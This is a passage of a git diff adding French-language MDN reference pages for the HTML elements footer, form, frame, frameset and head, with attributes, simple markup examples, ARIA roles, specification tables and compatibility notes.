+ <li>L'élément <code>&lt;footer&gt;</code> n'a pas de contenu sectionnant et ne peut donc pas introduire une nouvelle section dans le <a href="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document">plan</a>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;footer&gt;
+  Quelques informations de copyright ou bien quelques informations sur l'auteur de l'article.
+&lt;/footer&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","120")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Le lecteur d'écran <a href="https://help.apple.com/voiceover/info/guide/">VoiceOver</a> rencontre un problème qui fait que <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics#SignpostsLandmarks">le balisage de rôle (landmark role)</a> n'est pas annoncé. Pour corriger ce point, on ajoutera <code>role="contentinfo"</code> à l'élément <code>footer</code>.</p>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=146930">Bug 146930 pour WebKit</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a> sans élément descendant qui soit <code>&lt;footer&gt;</code> ou {{HTMLElement("header")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>. Un élément <code>&lt;footer&gt;</code> ne doit pas descendre d'un élément {{HTMLElement("address")}}, {{HTMLElement("header")}} ou d'un autre élément <code>&lt;footer&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-footer-element.html#the-footer-element', '&lt;footer&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.footer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML en lien avec les sections :
+  <ul>
+   <li>{{HTMLElement("body")}}</li>
+   <li>{{HTMLElement("nav")}}</li>
+   <li>{{HTMLElement("article")}}</li>
+   <li>{{HTMLElement("aside")}}</li>
+   <li>{{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}</li>
+   <li>{{HTMLElement("hgroup")}}</li>
+   <li>{{HTMLElement("header")}}</li>
+   <li>{{HTMLElement("section")}}</li>
+   <li>{{HTMLElement("address")}}</li>
+  </ul>
+ </li>
+ <li class="last"><a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document">Plan et section d'un document HTML5</a></li>
+ <li class="last"><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Contentinfo_role">ARIA : le rôle <code>contentinfo</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/form/index.html b/files/fr/web/html/element/form/index.html
new file mode 100644
index 0000000000..71dc418533
--- /dev/null
+++ b/files/fr/web/html/element/form/index.html
@@ -0,0 +1,216 @@
+---
+title: <form>
+slug: Web/HTML/Element/Form
+tags:
+  - Element
+  - Formulaires
+  - Formulaires HTML
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/form
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;form&gt;</code> </strong>représente une section d'un document qui contient des contrôles interactifs permettant à un utilisateur d'envoyer des données à un serveur web.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/form.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Il est possible d'utiliser les pseudo-classes CSS {{cssxref(':valid')}} et {{cssxref(':invalid')}} pour mettre en forme un élément <code>&lt;form&gt;</code>.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("accept")}} {{HTMLVersionInline(4)}} {{obsolete_inline}}</dt>
+ <dd>Cet attribut indique quels types de contenus sont acceptés par le serveur. Il peut y en avoir plusieurs, séparés par des virgules.
+ <div class="note"><strong>Note d'utilisation : </strong>Cet attribut a été retiré dans HTML5 et ne doit plus être utilisé. À la place, il faut utiliser l'attribut {{htmlattrxref("accept", "input")}} de l'élément {{HTMLElement("input")}}.</div>
+ </dd>
+ <dt>{{htmlattrdef("accept-charset")}}</dt>
+ <dd>Une liste des ensembles de caractères que le serveur accepte. Cette liste est délimitée par des espaces ou des virgules. Le navigateur les utilise dans l'ordre dans lequel ils ont été définis. La valeur par défaut est la chaîne de caractères réservée "UNKNOWN" ; dans ce cas, l'ensemble de caractères utilisé correspond à celui du document contenant l'élément {{HTMLElement("form")}}.<br>
+ Dans les versions précédentes de HTML, les différents ensembles de caractères pouvaient être délimités par des espaces ou des virgules. Ce n'est plus le cas en HTML5 où seuls les espaces sont autorisés.</dd>
+ <dt>{{htmlattrdef("action")}}</dt>
+ <dd>L'URI du programme qui traitera les informations soumises par le formulaire. Cette valeur peut être surchargée par un attribut {{htmlattrxref("formaction", "button")}} sur un élément {{HTMLElement("button")}} ou {{HTMLElement("input")}}.</dd>
+ <dt>{{htmlattrdef("autocapitalize")}} {{non-standard_inline}}</dt>
+ <dd>Cet attribut est un attribut non-standard utilisé sur iOS par Safari Mobile qui contrôle la façon dont la valeur du texte est automatiquement transcrite en majuscules lors de la saisie par l'utilisateur. Si l'attribut <code>autocapitalize</code> est défini sur un des descendants du formulaire, il surchargera la valeur de <code>autocapitalize</code> utilisée pour le formulaire. Les valeurs non-dépréciées sont disponibles pour iOS 5 et supérieurs. La valeur par défaut est <code>sentences</code>. Les valeurs possibles sont:
+ <ul>
+  <li><code>none</code> : La mise en majuscules est totalement désactivée</li>
+  <li><code>sentences</code> : Les premières lettres des phrases sont automatiquement passées en majuscules.</li>
+  <li><code>words</code> : La première lettre de chaque mot est automatiquement passée en majuscule.</li>
+  <li><code>characters</code> : Tous les caractères sont automatiquement passés en majuscules.</li>
+  <li><code>on</code> : {{deprecated_inline}} Déprécié depuis iOS 5.</li>
+  <li><code>off</code> : {{deprecated_inline}} Déprécié depuis iOS 5.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut énuméré est utilisé pour définir le comportement du navigateur quant à l'autocomplétion des champs. Cet attribut peut être surchargé par chacun des éléments du formulaire. Il peut prendre deux valeurs :
+ <ul>
+  <li><code>on</code> : Le navigateur peut remplir automatiquement les valeurs d'après les précédentes informations qu'a entrées l'utilisateur lors d'usages antérieurs du formulaire.</li>
+  <li><code>off</code> : L'utilisateur doit remplir lui-même la valeur de chaque champ, à chaque utilisation du formulaire, ou le formulaire utilise son propre système d'auto-complétion ; le navigateur ne doit pas remplir automatiquement les valeurs.</li>
+ </ul>
+
+ <p>En son absence, sa valeur par défaut est <code>on</code>. Les éléments du formulaire peuvent bien sûr outrepasser cette valeur via leur propre attribut <code><strong>autocomplete</strong></code>.</p>
+
+ <div class="note"><strong>Note :</strong> Si autocomplete vaut <code>off</code> dans un formulaire parce que le document fournit son propre système d'auto-complétion, il faut aussi définir <code>autocomplete</code> à <code>off</code> pour chaque élément {{HTMLElement("input")}} du formulaire. Pour plus d'informations, voir <a href="#compatChartle">le tableau de compatibilité</a>.</div>
+ </dd>
+ <dt>{{htmlattrdef("enctype")}}</dt>
+ <dd>Lorsque la valeur de l'attribut <code>method</code> est <code>post</code>, cet attribut définit le <a href="https://fr.wikipedia.org/wiki/Type_MIME">type MIME</a> qui sera utilisé pour encoder les données envoyées au serveur. C'est un attribut énuméré qui peut prendre les valeurs suivantes :
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code> : la valeur par défaut si l'attribut n'est pas défini</li>
+  <li><code>multipart/form-data</code> : la valeur utilisée par un élément {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut "file".</li>
+  <li><code>text/plain</code> {{HTMLVersionInline(5)}}, correspondant au <a class="external" href="https://fr.wikipedia.org/wiki/Type_MIME">type MIME</a> éponyme.</li>
+ </ul>
+ Cette valeur peut être surchargée par l'attribut {{htmlattrxref("formenctype", "button")}} des éléments {{HTMLElement("button")}} ou {{HTMLElement("input")}}.</dd>
+ <dt>{{htmlattrdef("method")}}</dt>
+ <dd>Cet attribut définit la méthode <a href="/fr/docs/Web/HTTP">HTTP</a> qui sera utilisée pour envoyer les données au serveur. C'est un attribut énuméré qui peut prendre les valeurs suivantes :
+ <ul>
+  <li><code>get</code> : correspondant à la <a href="/fr/docs/Web/HTTP/Methods/GET">méthode GET</a> du protocole HTTP. Les données du formulaires sont ajoutées à l'URI de l'attribut <code>action</code> avec '?' comme séparateur. L'URI ainsi composée est ensuite enovyée vers le serveur. On utilisera cette méthode lorsque le formulaire n'a pas d'effet de bord et qu'il ne contient que des caractères ASCII.</li>
+  <li><code>post</code> : correspondant à la <a href="/fr/docs/Web/HTTP/Methods/POST">méthode POST</a> du protocole HTTP, les données du formulaires sont incluses dans le corps du formulaire et envoyées vers le server.</li>
+  <li><code>dialog</code> : à utiliser lorsque le formulaire est placé dans un élément {{HTMLElement("dialog")}} afin de fermer la boîte de dialogue à l'envoi du formulaire.</li>
+ </ul>
+
+ <p>Si cet attribut n'est pas défini, la valeur par défaut utilisée est <code>get</code>. Cette valeur peut-être surchargée par l'attribut {{htmlattrxref("formmethod", "button")}} des éléments {{HTMLElement("button")}} ou {{HTMLElement("input")}}.</p>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom du formulaire. Dans HTML 4, cet attribut est déprécié. (<code>id</code> doit être utilisé à la place). Il doit être unique parmi tous les formulaires d'un document, et ne doit pas être une chaîne de caractères vide en HTML5.</dd>
+ <dt>{{htmlattrdef("novalidate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Cet attribut booléen indique si le formulaire doit être validé au moment de sa soumission. S'il n'est pas défini, le formulaire sera validé lors de sa soumission. Il peut être surchargé par l'attribut {{htmlattrxref("formnovalidate", "button")}} des éléments  {{HTMLElement("button")}} ou {{HTMLElement("input")}} appartenant au formulaire.</dd>
+ <dt>{{htmlattrdef("target")}}</dt>
+ <dd>Un nom ou un mot-clé indiquant où afficher la réponse après avoir envoyé le formulaire. Dans HTML 4, c'est le nom, ou le mot-clé, d'une frame. Dans HTML5, c'est le nom, ou le mot-clé, d'un <em>contexte de navigation</em> (onglet, fenêtre, frame). Les mots-clés suivants ont un sens particulier :
+ <ul>
+  <li><code>_self</code> : charge la réponse dans la même frame HTML 4 (ou le même contexte de navigation HTML5) que l'actuelle. Il s'agit de la valeur par défaut quand cet attribut n'est pas défini ;</li>
+  <li><code>_parent</code> : charge la réponse dans le frameset parent HTML 4 de la frame actuelle, ou dans le contexte de navigation parent HTML5 de l'actuelle ;</li>
+  <li><code>_top</code> : HTML 4 : charge la réponse dans la fenêtre complête originale, annulant toutes les autres frames. HTML5 : charge la réponse dans le contexte de navigation le plus haut (c'est-à-dire le contexte de navigation qui est l'ancêtre de l'actuel, et qui n'a aucun parent). S'il n'y a pas de parent, l'option se comporte comme <code>_self</code> ;</li>
+  <li><code>_blank</code> : charge la réponse dans une fenêtre HTML 4 non nommée ou dans un contexte de navigation HTML5.</li>
+ </ul>
+
+ <p>HTML5 : Cette valeur peut être surchargée par l'attribut {{htmlattrxref("formtarget", "button")}} des éléments {{HTMLElement("button")}} ou {{HTMLElement("input")}}.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- Formulaire simple qui enverra une requête GET --&gt;
+&lt;form action="" method="get"&gt;
+  &lt;label for="GET-name"&gt;Nom :&lt;/label&gt;
+  &lt;input id="GET-name" type="text" name="name"&gt;
+  &lt;input type="submit" value="Enregistrer"&gt;
+&lt;/form&gt;
+
+&lt;!-- Formulaire simple qui enverra une requête POST --&gt;
+&lt;form action="" method="post"&gt;
+  &lt;label for="POST-name"&gt;Nom :&lt;/label&gt;
+  &lt;input id="POST-name" type="text" name="name"&gt;
+  &lt;input type="submit" value="Enregistrer"&gt;
+&lt;/form&gt;
+
+&lt;!-- Formulaire avec un fieldset, un legend, et un label --&gt;
+&lt;form action="" method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Titre&lt;/legend&gt;
+    &lt;input type="radio" name="radio" id="radio"&gt; &lt;label for="radio"&gt;Cliquez moi&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%",110)}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, contenu tangible.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a> qui ne contient pas d'élément <code>&lt;form&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLFormElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-form-element', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-form-element', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.3', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="compatChart">Compatibilité des navigateurs</a></h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.form")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Le guide sur les formulaires HTML</a></li>
+ <li>Les autres éléments utilisés pour les formulaires
+  <ul>
+   <li>{{HTMLElement("button")}}</li>
+   <li>{{HTMLElement("datalist")}}</li>
+   <li>{{HTMLElement("fieldset")}}</li>
+   <li>{{HTMLElement("input")}}</li>
+   <li>{{HTMLElement("keygen")}}</li>
+   <li>{{HTMLElement("label")}}</li>
+   <li>{{HTMLElement("legend")}}</li>
+   <li>{{HTMLElement("meter")}}</li>
+   <li>{{HTMLElement("optgroup")}}</li>
+   <li>{{HTMLElement("option")}}</li>
+   <li>{{HTMLElement("output")}}</li>
+   <li>{{HTMLElement("progress")}}</li>
+   <li>{{HTMLElement("select")}}</li>
+   <li>{{HTMLElement("textarea")}}</li>
+  </ul>
+ </li>
+ <li>La méthode du DOM {{domxref("HTMLFormElement.elements")}} qui permet de récupérer une liste des éléments du formulaire.</li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Form_Role">ARIA : le rôle <code>form</code></a></li>
+ <li><a href="/fr/docs/Web/Accessibility/ARIA/Roles/Search_Role">ARIA : le rôle <code>search</code></a></li>
+</ul>
diff --git a/files/fr/web/html/element/frame/index.html b/files/fr/web/html/element/frame/index.html
new file mode 100644
index 0000000000..753d4dc517
--- /dev/null
+++ b/files/fr/web/html/element/frame/index.html
@@ -0,0 +1,68 @@
+---
+title: <frame>
+slug: Web/HTML/Element/frame
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/frame
+---
+<div>{{HTMLRef}}{{Deprecated_header}}</div>
+
+<p><strong><code>&lt;frame&gt;</code></strong> est un élément HTML qui définit une zone particulière dans laquelle un autre document HTML est affiché. Une <code>&lt;frame&gt;</code> doit être utilisée dans un élément {{HTMLElement("frameset")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On privilégiera l'utilisation de {{HTMLElement("iframe")}}.</p>
+</div>
+
+<p>Utiliser l'élément <code>&lt;frame&gt;</code> est déconseillé en raison de certains inconvénients tels que des problèmes de performance, et un manque d'accessibilité pour les utilisateurs de lecteurs d'écran.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément prend en charge les <a href="/fr/docs/Web/HTML/Attributs_globaux">attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Cet attribut indique le document qui doit être affiché dans la frame.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Cet attribut sert à nommer les frames. Sans nommage, tous les liens seront ouverts dans la frame où ils se trouvent. Voir {{htmlattrxref("target","a")}} pour plus d'informations.</dd>
+ <dt>{{htmlattrdef("noresize")}}</dt>
+ <dd>Cet attribut empêche aux utilisateurs de redimensionner les frames.</dd>
+ <dt>{{htmlattrdef("scrolling")}}</dt>
+ <dd>Cet attribut définit l'existence des barres de défilement. Si cet attribut n'est pas utilisé, le navigateur mettre une barre de défilement si nécessaire. Il y a deux options : <code>yes</code> pour afficher les barres de défilement même quand ce n'est pas nécessaire, et <code>no</code> pour ne pas afficher les barres de défilement même quand c'est nécessaire.</dd>
+ <dt>{{htmlattrdef("marginheight")}}</dt>
+ <dd>Cet attribut définit la hauteur des marges entre les frames.</dd>
+ <dt>{{htmlattrdef("marginwidth")}}</dt>
+ <dd>Cet attribut définit la largeur des marges entre les frames.</dd>
+ <dt>{{htmlattrdef("frameborder")}}</dt>
+ <dd>Cet attribut permet de mettre des bordures à la frame.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;frameset cols="50%,50%"&gt;
+  &lt;frame src="https://developer.mozilla.org/fr/docs/Web/HTML/Element/iframe" /&gt;
+  &lt;frame src="https://developer.mozilla.org/fr/docs/Web/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.frame")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("frameset")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/frameset/index.html b/files/fr/web/html/element/frameset/index.html
new file mode 100644
index 0000000000..cf4aed3aa3
--- /dev/null
+++ b/files/fr/web/html/element/frameset/index.html
@@ -0,0 +1,53 @@
+---
+title: <frameset>
+slug: Web/HTML/Element/frameset
+tags:
+  - Déprécié
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/frameset
+---
+<div>{{Deprecated_header}}{{HTMLRef}}</div>
+
+<p><strong><code>&lt;frameset&gt;</code></strong> est un élément HTML utilisé pour contenir les éléments {{HTMLElement("frame")}}.</p>
+
+<div class="note"><strong>Note :</strong> Les frames est maintenant découragé en faveur de {{HTMLElement("iframe")}}.</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cols")}}</dt>
+ <dd>Cet attribut définit le nombre et la taille des espaces horizontaux dans un <code>&lt;frameset&gt;</code>.</dd>
+ <dt>{{htmlattrdef("rows")}}</dt>
+ <dd>Cet attribut définit le nombre et la taille des espaces verticaux dans un <code>&lt;frameset&gt;</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;frameset cols="50%,50%"&gt;
+  &lt;frame src="https://developer.mozilla.org/fr/docs/Web/HTML/Element/frameset" /&gt;
+  &lt;frame src="https://developer.mozilla.org/fr/docs/Web/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%",200)}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.frameset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("frame")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/head/index.html b/files/fr/web/html/element/head/index.html
new file mode 100644
index 0000000000..3446965fdd
--- /dev/null
+++ b/files/fr/web/html/element/head/index.html
@@ -0,0 +1,125 @@
+---
+title: '<head> : l''élément de métadonnées (en-tête) du document'
+slug: Web/HTML/Element/head
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/head
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong>&lt;head&gt;</strong> fournit des informations générales (métadonnées) sur le document, incluant son titre et des liens ou des définitions vers des scripts et feuilles de style.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> L'élément <code>&lt;head&gt;</code> contient principalement des données destinées au traitement automatisé et pas nécessairement lisibles par des humains. Pour afficher des informations lisibles pour les utilisateurs dans des en-têtes ou titre, voir l'élément {{HTMLElement("header")}}.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les éléments HTML, cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("profile")}}{{obsolete_inline}}</dt>
+ <dd>L'URI d'un ou plusieurs profils de métadonnées, séparés par un espace.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: html">&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Titre du document&lt;/title&gt;
+  &lt;/head&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La plupart des navigateurs conformes à HTML5 construisent automatiquement l'élément <code>&lt;head&gt;</code> si les balises sont omises dans le balisage. <a href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">Cependant, ce comportement n'est pas garanti pour les navigateurs antérieurs</a>.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Si le document est un document source ({{htmlattrxref("srcdoc", "iframe")}}) d'une {{HTMLElement("iframe")}} ou si l'information pour le titre est disponible via un protocole de plus haut niveau zéro ou plusieurs éléments de méta-données.<br>
+    Sinon un ou plusieurs éléments de méta-données dont un (et un seul) est un élément {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début peut être absente si le premier contenu est un élément.<br>
+    La balise de fermeture peut être absente si le premier objet suivant l'élément <code>&lt;head&gt;</code> n'est pas un caractère blanc ou un commentaire.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Cet élément doit être le premier enfant de l'élément {{HTMLElement("html")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLHeadElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis la dernière dérivation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>L'attribut <code>profile</code> est désormais obsolète.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'global.html#h-7.4.1', '&lt;head&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.head")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments qui peuvent être utilisés à l'intérieur de l'élément <code>&lt;head&gt;</code> :
+
+  <ul>
+   <li>{{HTMLElement("title")}}</li>
+   <li>{{HTMLElement("base")}}</li>
+   <li>{{HTMLElement("link")}}</li>
+   <li>{{HTMLElement("style")}}</li>
+   <li>{{HTMLElement("meta")}}</li>
+   <li>{{HTMLElement("script")}}</li>
+   <li>{{HTMLElement("noscript")}}</li>
+   <li>{{HTMLElement("template")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/header/index.html b/files/fr/web/html/element/header/index.html
new file mode 100644
index 0000000000..f43b010498
--- /dev/null
+++ b/files/fr/web/html/element/header/index.html
@@ -0,0 +1,128 @@
+---
+title: <header>
+slug: Web/HTML/Element/header
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/header
